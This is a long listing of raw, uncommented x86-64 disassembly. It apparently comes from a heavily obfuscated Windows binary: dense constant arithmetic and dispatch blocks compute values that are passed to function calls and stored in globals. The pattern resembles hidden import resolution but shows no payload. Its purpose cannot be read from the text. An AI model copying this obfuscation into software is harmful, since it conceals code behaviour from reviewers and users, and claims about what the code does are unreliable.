cmp rax, qword [rsp + 0x58]
jae 0x140005b66
mov rcx, qword [rsp + 0x50]
jmp 0x140005b51
test rdx, rdx
jne 0x140005b72
xor eax, eax
jmp 0x14000afb1
movabs rdi, 0x936b188965d3ea4d
xor ebx, ebx
movabs rax, 0x8738e390eaf70b5e
movabs r14, 0xb44a479ccba72d55
movabs r11, 0xbce7cdd06197a3bd
mov r12, qword [0x140301070]
mov rsi, r12
imul rsi, rax
not rsi
movabs rcx, 0x4318322f98164fb9
mov r13, qword [0x140301060]
mov rax, r13
xor rax, rcx
and rsi, rax
ror rsi, 0xa
shr rsi, 8
movabs rax, 0x460a5271ac53a2a8
mov r8, r12
imul r8, rax
movabs r9, 0x6c94e7769a2c15b3
sub r8, r9
movabs rax, 0x570ae66780000000
xor r8, rax
shr r8, 0x1f
not r8
lea rcx, [r8 + r9]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r8b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xa7
and ecx, 0x8000003f
jge 0x140005c4a
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r8
ror rax, cl
not rax
movabs rcx, 0xa8b15928a88dcaf4
mov r15, rax
imul r15, rcx
add r9, r15
mov r10, r8
imul r10, rsi
sub r10, r9
xor r10, r14
mov cl, r9b
xor cl, 0xf8
and cl, 0xf
rol r10, cl
movabs rcx, 0xcebe55d0d9451364
imul rax, rcx
movabs rcx, 0x2b9e1cb6d35edb29
sub rax, rcx
xor r10, rax
mov rax, r9
sub rax, qword [0x140301078]
xor r10, rax
xor r10, r11
mov rax, r10
and eax, 1
je 0x140005f87
sub rax, 1
je 0x140005e9a
sub rax, 1
je 0x140005dc8
cmp rax, 1
jne 0x140005ffd
mov r14, r9
imul r14, r8
movabs rax, 0x955f2afa3362e695
add rax, r10
xor r14, rax
ror r14, 0x30
shr r14, 0xc
not r14
movabs rcx, 0x83573e62d1b4
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x6c16620eef55e485
xor rdx, rax
movzx eax, r14b
movzx ecx, r10b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db966823d4f
sub rax, r8
mov r8, rdx
xor r8, rax
mov rcx, r8
imul rcx, rdi
mov eax, 0xb759efa5
add rcx, rax
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rdi, 0x294c1f3061db1caa
sub rdi, r14
shr rdi, cl
movabs rcx, 0x6c9d0bfee009b51d
add rcx, r15
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r13 + rcx*8]
imul rax, r10
sub rax, rsi
xor rdi, rax
jmp 0x140005ffd
movabs rcx, 0xaaaaaa1ab740129b
mov r8, r10
xor r8, rcx
movabs rcx, 0x1206ed754dced7
imul r8, rcx
movabs rcx, 0xffff7e8a91502047
imul r15, rcx
movabs rcx, 0xb245c4cbff7afd92
add r8, rcx
add r8, r15
movabs rax, 0x277cd7be6590c5fb
mov rcx, r8
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r8
not r9
lea rax, [0x140301060]
imul r9, qword [rax + rcx*8]
xor r9, 0xffffffffe215c44b
lea ecx, [r10 + 0x19]
and cl, 0x3f
rol r9, cl
movabs rax, 0x640a184400000000
imul r9, rax
mov rcx, r9
ror rcx, 0x13
not rcx
movabs rax, 0x9b2de6b2a9f11f70
imul rcx, rax
mov rax, r8
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, sil
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x140005ffd
movabs rax, 0xab5a8c66adb776f1
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0x4bb5b8633458d2aa
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
mov cl, r9b
and cl, 0x3f
rol r11, cl
movabs rcx, 0x6c94e7769a2c15b3
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x188965d3ea4d
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7eb8464b6
or r11, rax
mov rdi, r12
imul rdi, r14
sub rdi, r9
mov rax, rsi
sub rax, r11
xor rdi, rax
movabs rax, 0xc7a7c6a6ba8c64bb
xor rdi, rax
mov rax, r10
imul rax, r9
imul rax, rdi
mov rbx, r8
sub rbx, rax
movabs rax, 0x789589475de28a1
add rbx, rax
xor rbx, rsi
movzx eax, r8b
imul ecx, eax, 0x1e
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140005ffd
mov rcx, r10
imul rcx, qword [0x140301080]
mov rdx, qword [0x140301068]
and rcx, rdx
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0x3d
imul r11, r9
mov rbx, rsi
not rbx
imul rbx, r8
movabs rax, 0x7cd8a7de677d355a
imul rbx, rax
imul rsi, r13, 0xfffffffff981ec04
sub rsi, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140005fea
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rsi, cl
movabs rax, 0x6c94e7769a2c15b3
add rsi, rax
add rsi, r15
movabs rax, 0xff055d7b97363f97
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r11, rbx
lea rax, [0x140301060]
imul r11, qword [rax + r14*8]
not r9
imul r9, r10
imul r9, rsi
imul r9, rdi
movabs rcx, 0xf5ed7e879085754b
xor rcx, r8
not rcx
xor rcx, r9
sub rcx, r11
call fcn.1400011d4
mov qword [0x14030af70], rax
movabs rsi, 0xa4de34a56b54c671
movabs rdi, 0x6a3568546937c3c3
xor ebx, ebx
movabs rax, 0x3937b78e51da085a
movabs r11, 0x39896746a626a755
mov r13, qword [0x140301070]
mov r14, r13
imul r14, rax
not r14
shr r14, 8
movabs rcx, 0xc67698b967b1f1ff
mov r12, qword [0x140301060]
mov rax, r12
xor rax, rcx
shr rax, 8
and r14, rax
movabs rax, 0xc4c61b7e0b4e2b68
mov r10, r12
imul r10, rax
add r10, rdi
movabs rax, 0xb1c4ce987fffffff
xor r10, rax
shr r10, 0x1f
not r10
movabs r8, 0x95ca97ab96c83c3d
lea rcx, [r10 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xe3
and ecx, 0x8000003f
jge 0x14000613d
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r10
ror rdx, cl
not rdx
movabs rax, 0x8f083fa83f129b2c
mov r15, rdx
imul r15, rax
lea r9, [r15 + r8]
mov r8, r10
imul r8, r14
sub r8, r9
xor r8, rsi
mov cl, r9b
xor cl, 0xfc
and cl, 0xf
rol r8, cl
mov rax, r9
sub rax, qword [0x140301078]
xor r8, rax
movabs rax, 0x840a9e4799d2b684
imul rdx, rax
movabs rax, 0x11a3b2b3a97ca689
sub rdx, rax
xor r8, rdx
xor r8, r11
mov rax, r8
and eax, 3
je 0x14000647b
sub rax, 1
je 0x14000638e
sub rax, 1
je 0x1400062bc
cmp rax, 1
jne 0x1400064f1
mov rsi, r9
imul rsi, r10
movabs rax, 0xe305c214bd16ed47
add rax, r8
xor rsi, rax
ror rsi, 0x38
shr rsi, 0xc
not rsi
movabs rcx, 0x8357256d7cf8
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x954812d3f8be604f
xor rdx, rax
movzx eax, sil
movzx ecx, r8b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97d8d900b
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rdi
mov eax, 0xac5642e1
add rcx, rax
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rdi, 0x65fea0c70734254
sub rdi, rsi
shr rdi, cl
movabs rcx, 0x95d2bc33f59a6e6b
add rcx, r15
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r13 + rcx*8]
imul rax, r8
sub rax, r14
xor rdi, rax
jmp 0x1400064f1
movabs rcx, 0xaaaaaa1aac4fbfdf
mov r10, r8
xor r10, rcx
movabs rcx, 0x1206ed6e426393
imul r10, rcx
movabs rcx, 0xffff7e8a8a5f8d03
imul r15, rcx
movabs rcx, 0xf1bf0f53f77dabc4
add r10, rcx
add r10, r15
movabs rax, 0x277cd7be7e9f68bf
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r10
not r9
lea rax, [0x140301060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffff91a690f
lea ecx, [r8 + 0x1d]
and cl, 0x3f
rol r9, cl
movabs rax, 0x5010650080000000
imul r9, rax
mov rcx, r9
ror rcx, 0x33
not rcx
movabs rax, 0x9b2de6b2c5cfaa60
imul rcx, rax
mov rax, r10
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x1400064f1
movabs rax, 0x45a1bdc12fc71fd7
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x5b21cb5a94ab398e
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
mov cl, r9b
and cl, 0x3f
rol r11, cl
movabs rcx, 0x95ca97ab96c83c3d
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffe8546937c3c3
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7f08bc9f2
or r11, rax
mov rdi, r13
imul rdi, rsi
sub rdi, r9
mov rax, r14
sub rax, r11
xor rdi, rax
movabs rax, 0xc7a7c6a6a183c9ff
xor rdi, rax
mov rax, r8
imul rax, r9
imul rax, rdi
mov rbx, r10
sub rbx, rax
movabs rax, 0x78958946ed185e5
add rbx, rax
xor rbx, r14
movzx eax, r10b
imul ecx, eax, 0x1a
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x1400064f1
mov rcx, r8
imul rcx, qword [0x140301080]
mov rdx, qword [0x140301068]
and rcx, rdx
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0x15
imul r11, r9
mov rbx, r14
not rbx
imul rbx, r10
movabs rax, 0x7cd8a7de7c72981e
imul rbx, rax
imul r14, r12, 0xffffffffc197567c
sub r14, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1400064de
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0x95ca97ab96c83c3d
add r14, rax
add r14, r15
movabs rax, 0xff055d7b8c3992d3
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rbx
lea rax, [0x140301060]
imul r11, qword [rax + rsi*8]
not r9
imul r9, r8
imul r9, r14
imul r9, rdi
movabs rcx, 0xf5ed7e878b8ad80f
xor rcx, r10
not rcx
xor rcx, r9
sub rcx, r11
call fcn.140001438
mov qword [0x14030af38], rax
movabs rdi, 0xfd4e7bea04d7034a
movabs rbx, 0x80292241e1f57035
movabs rax, 0xc8f4f0541c60e520
mov r11, qword [0x140301060]
imul r11, rax
movabs rax, 0xed8a9dcdef610110
xor r11, rax
mov rcx, r11
imul rcx, rbx
mov qword [rsp + 0x30], rcx
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
and r9, rbx
lea r14, [0x140301060]
imul r9, qword [r14 + rcx*8]
movabs rax, 0xf031be7a97db7434
imul r9, rax
shr r9, 3
movabs rax, 0x90d931efe147ae86
xor r9, rax
movabs rax, 0xffffff57ca9a613d
mov r15, r11
imul r15, rax
sub r15, 0x2d77d6e
xor r15, r9
xor r15, qword [0x140301060]
mov rax, r9
imul rax, qword [0x140301070]
movabs rcx, 0xb9de928bc329de1c
imul rax, rcx
not rax
and r15, rax
ror r15, 0x18
shr r15, 8
movabs r8, 0x7fd6ddbe1e0a8fcb
lea rcx, [r11 + r8]
xor rcx, 0xfffffffffda7d511
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x25ce28c26782b058
mov rsi, qword [r14 + rcx*8]
imul rsi, rax
sub rsi, r8
movabs rcx, 0x723d3c1507183948
mov rax, r9
imul rax, rcx
xor rsi, rax
shr rsi, 0x1f
not rsi
mov r12, rsi
xor r12, r11
lea rcx, [rsi + r8]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, sil
movzx ecx, byte [r14 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xd
mov eax, 0x8000003f
and ecx, eax
jge 0x1400066cc
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r9
imul r13, r12, 0xfffffffffd288292
lea r10, [r8 + r13]
mov r8, rsi
imul r8, r15
sub r8, r10
xor r8, rdi
movzx r14d, r10b
mov ecx, r14d
xor ecx, 2
and ecx, 0xf
and ecx, eax
jge 0x140006706
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
movabs rax, 0x8f806c5a6a3ce83a
imul r12, rax
movabs rax, 0x57239688df5f9507
add r12, rax
xor r8, r12
mov rax, r10
sub rax, qword [0x140301078]
xor r8, rax
xor r8, r9
xor r8, r11
mov rax, r8
and eax, 1
xor rax, 2
je 0x140006a94
sub rax, 1
je 0x140006953
sub rax, 1
je 0x140006859
cmp rax, 1
jne 0x140006b45
mov rdi, r10
imul rdi, rsi
movabs rax, 0x13db80ba73dbf85f
add rax, r8
xor rdi, rax
ror rdi, 0x22
shr rdi, 0xc
xor rdi, r11
not rdi
movabs rcx, 0x835721d8d01a
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x7f5458c674c97f57
xor rdx, rax
movzx eax, r8b
movzx ecx, dil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db979383ce5
sub rax, rsi
mov rsi, rdx
xor rsi, rax
mov rcx, rsi
imul rcx, rbx
mov eax, 0xa8e3ee0f
add rcx, rax
movabs r14, 0xaaaaaaaaaaaaaaab
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x140301060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rbx, 0x6264e5584aa006f6
sub rbx, rdi
shr rbx, cl
movabs rcx, 0x7fdf024678722e8f
add rcx, r13
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r12 + rcx*8]
imul rax, r8
sub rax, r15
xor rbx, rax
jmp 0x140006b45
movabs rax, 0xaaaaaa1aa8fa1331
mov rcx, r8
xor rcx, rax
movabs rax, 0x1206ed6af7cf7d
imul rcx, rax
movabs rdx, 0xfff17ca87f98254d
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a8eea21ed
imul r13, rax
movabs rsi, 0x59e0843c4c86bdc
add rsi, rcx
add rsi, r13
movabs rax, 0x277cd7be7a2ac451
mov rcx, rsi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, rsi
not r10
lea rax, [0x140301060]
imul r10, qword [rax + rcx*8]
xor r10, 0xfffffffffdafc5e1
lea ecx, [r8 - 0xd]
and cl, 0x3f
rol r10, cl
movabs rcx, 0x3c601d8680000000
mov rax, qword [rsp + 0x30]
xor rax, rcx
movabs rcx, 0x7c7a7dc694a8cf50
and rax, rcx
imul r10, rax
mov rcx, r10
ror rcx, 0x26
not rcx
movabs rax, 0x9b2de6b2d71919d8
imul rcx, rax
mov rax, rsi
sub rax, r10
lea rdx, [rcx + rax*4]
mov cl, r15b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140006b45
movabs rax, 0x900f8ca18c33e675
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x7fd6ddbe1e0a8fca
mov rax, r11
imul rax, rdx
xor rax, rdi
not rax
shl rax, cl
xor r9, rax
and r14d, 0x8000003f
jge 0x1400069ad
dec r14d
or r14d, 0xffffffc0
inc r14d
mov cl, r14b
rol r9, cl
movabs rcx, 0x7fd6ddbe1e0a8fcb
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffe241e1f57035
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7f43e651c
or r9, rax
mov rbx, qword [0x140301070]
imul rbx, rdi
sub rbx, r10
mov rax, r15
sub rax, r9
xor rbx, rax
movabs rax, 0xc7a7c6a6a5366511
xor rbx, rax
movabs rax, 0xcccccccccccccccd
mul r11
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r11
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rbx
div rcx
mov rcx, rdx
mov rdx, r8
imul rdx, r10
imul rdx, rbx
shr rdx, cl
mov rax, rsi
sub rax, rdx
sub rax, r11
movabs r11, 0x78958946a64290b
add r11, rax
xor r11, r15
movzx eax, sil
imul ecx, eax, 0xf4
and cl, 0x3f
rol r11, cl
not r11
jmp 0x140006b45
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r8
imul rax, qword [0x140301080]
lea rdx, [0x140301060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9b, 0x3f
mov cl, r9b
mov r9, rdx
ror r9, cl
imul r9, r10
not r15
imul r15, rsi
movabs rax, 0x7cd8a7de78c734f0
imul r15, rax
mov rax, r9
imul rax, r11
mov r11, r15
xor r11, rax
imul r14, qword [0x140301060], 0xfffffffffd288292
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140006b32
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs r15, 0x7fd6ddbe1e0a8fcb
add r15, r14
add r15, r13
movabs rax, 0xff055d7b888c3e3d
xor rdi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rdi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rdi, rax
xor r9, r11
lea rax, [0x140301060]
imul r9, qword [rax + rdi*8]
not r10
imul r10, r8
imul r10, r15
imul r10, rbx
movabs rcx, 0xf5ed7e878f3f74e1
xor rcx, rsi
not rcx
xor rcx, r10
sub rcx, r9
call fcn.1400011f8
mov qword [0x14030af68], rax
movabs rsi, 0xfe483c6e321f78dc
movabs rdi, 0x4e49e9fc81b0a733
xor ebx, ebx
movabs rax, 0x84f2d30d23a6c2e4
movabs r11, 0x31c6012c5804c7c1
mov r13, qword [0x140301070]
mov r14, r13
imul r14, rax
not r14
movabs rcx, 0xce39fed3a1b8a0f7
mov r12, qword [0x140301060]
mov rax, r12
xor rax, rcx
and r14, rax
ror r14, 0x26
shr r14, 8
movabs rax, 0xb583e91b7f169038
mov r10, r12
imul r10, rax
add r10, rdi
movabs rax, 0xeb62f7d8ffffffff
xor r10, rax
shr r10, 0x1f
not r10
movabs r8, 0xb1b616037e4f58cd
lea rcx, [r10 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xf5
and ecx, 0x8000003f
jge 0x140006c85
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r10
ror rdx, cl
not rdx
movabs rax, 0xd06598d0e81cc9b6
mov r15, rdx
imul r15, rax
add r8, r15
mov r9, r10
imul r9, r14
sub r9, r8
xor r9, rsi
mov cl, r8b
xor cl, 0xfa
and cl, 0xf
rol r9, cl
mov rax, r8
sub rax, qword [0x140301078]
xor r9, rax
movabs rax, 0xc85703a06871e942
imul rdx, rax
movabs rax, 0x6b127b3046ac6bd7
add rdx, rax
xor r9, rdx
xor r9, r11
mov rax, r9
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140006fcb
sub rax, 1
je 0x140006ed9
sub rax, 1
je 0x140006e07
cmp rax, 1
jne 0x140007044
mov rsi, r8
imul rsi, r10
movabs rax, 0x47768f98d259c7c1
add rax, r9
xor rsi, rax
ror rsi, 0x1e
shr rsi, 0xc
not rsi
movabs rcx, 0x83572dc295e2
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xb134937b1896eda9
xor rdx, rax
movzx eax, sil
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97522791d
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rdi
mov eax, 0xa4f9abf7
add rcx, rax
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rdi, 0x7d106012b7f4ec4c
sub rdi, rsi
shr rdi, cl
movabs rcx, 0xb1be3a8bd4cd3409
add rcx, r15
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r13 + rcx*8]
imul rax, r9
sub rax, r14
xor rdi, rax
jmp 0x140007044
movabs rcx, 0xaaaaaa1aa4e056c9
mov r10, r9
xor r10, rcx
movabs rcx, 0x1206ed66ed8a85
imul r10, rcx
movabs rcx, 0xffff7e8a82f06415
imul r15, rcx
movabs rcx, 0x1b69a6a40ccc1972
add r10, rcx
add r10, r15
movabs rax, 0x277cd7be763081a9
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r10
not r8
lea rax, [0x140301060]
imul r8, qword [rax + rcx*8]
xor r8, 0xfffffffff1b58019
lea ecx, [r9 + 0xb]
and cl, 0x3f
rol r8, cl
movabs rax, 0x383810c400000000
imul r8, rax
mov rcx, r8
ror rcx, 8
not rcx
movabs rax, 0x9b2de6b2e7700e38
imul rcx, rax
mov rax, r10
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x140007044
movabs rax, 0x4fcaa692211c31cf
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x1b7c391cde08723
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
mov cl, r8b
and cl, 0x3f
rol r11, cl
movabs rcx, 0xb1b616037e4f58cd
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffe9fc81b0a733
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7f82420e4
or r11, rax
mov rdi, r13
imul rdi, rsi
sub rdi, r8
mov rax, r14
sub rax, r11
xor rdi, rax
movabs rax, 0xc7a7c6a6a92c20e9
xor rdi, rax
mov rax, r9
imul rax, r8
imul rax, rdi
mov rbx, r10
sub rbx, rax
movabs rax, 0x7895894667e6cf3
add rbx, rax
xor rbx, r14
mov al, r10b
add al, al
lea ecx, [rax + r10]
shl cl, 2
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140007044
mov rcx, r9
imul rcx, qword [0x140301080]
and rcx, qword [0x140301088]
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 1
imul r11, r8
mov rbx, r14
not rbx
imul rbx, r10
movabs rax, 0x7cd8a7de74dd7108
imul rbx, rax
imul r14, r12, 0xfffffffff9bc6736
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140007031
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0xb1b616037e4f58cd
add r14, rax
add r14, r15
movabs rax, 0xff055d7b84967bc5
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rbx
lea rax, [0x140301060]
imul r11, qword [rax + rsi*8]
not r8
imul r8, r9
imul r8, r14
imul r8, rdi
movabs rcx, 0xf5ed7e8783253119
xor rcx, r10
not rcx
xor rcx, r8
sub rcx, r11
call fcn.140001384
mov qword [0x14030af30], rax
movabs rsi, 0x9716d71c0949df0e
movabs rdi, 0xd406303942057759
xor ebx, ebx
movabs rax, 0x9d9bc613377ad63c
movabs r10, 0xc440a7fbf9791406
mov r15, qword [0x140301070]
imul r15, rax
not r15
movabs rdx, 0x3bbf58040351349e
mov r13, qword [0x140301060]
mov rax, r13
xor rax, rdx
and r15, rax
ror r15, 0x22
shr r15, 8
movabs rax, 0xfb79817125d766d0
mov r11, qword [0x140301070]
imul r11, rax
movabs r8, 0x2bf9cfc6bdfa88a7
sub r11, r8
movabs rax, 0x9694bc9e7fffffff
xor r11, rax
shr r11, 0x1f
not r11
lea rcx, [r11 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x1b
mov edx, 0x8000003f
and ecx, edx
jge 0x140007183
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r11
ror rax, cl
not rax
movabs rcx, 0xf2e9613e3f54a390
mov r12, rax
imul r12, rcx
add r8, r12
mov r9, r11
imul r9, r15
sub r9, r8
xor r9, rsi
movzx r14d, r8b
mov ecx, r14d
xor ecx, 4
and ecx, 0xf
and ecx, edx
jge 0x1400071c5
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r9, cl
movabs rcx, 0xefc537f6ae44cd10
imul rax, rcx
movabs rcx, 0x7b9ca8b63ae2230f
add rax, rcx
xor r9, rax
mov rax, r8
sub rax, qword [0x140301078]
xor r9, rax
xor r9, r10
mov rax, r9
and eax, 1
je 0x1400074e6
sub rax, 1
je 0x1400073e2
sub rax, 1
je 0x140007310
cmp rax, 1
jne 0x14000755c
mov rsi, r8
imul rsi, r11
movabs rax, 0x42f8b89cddd9c80d
add rax, r9
xor rsi, rax
ror rsi, 0x18
shr rsi, 0xc
not rsi
movabs rcx, 0x83572145a310
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x2b7b4abed7a40b2d
xor rdx, rax
movzx eax, r9b
movzx ecx, sil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db979a54ff3
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rdi
mov eax, 0xa87e9d19
add rcx, rax
movabs r14, 0xaaaaaaaaaaaaaaab
mov rax, r14
mul rcx
shr rdx, 2
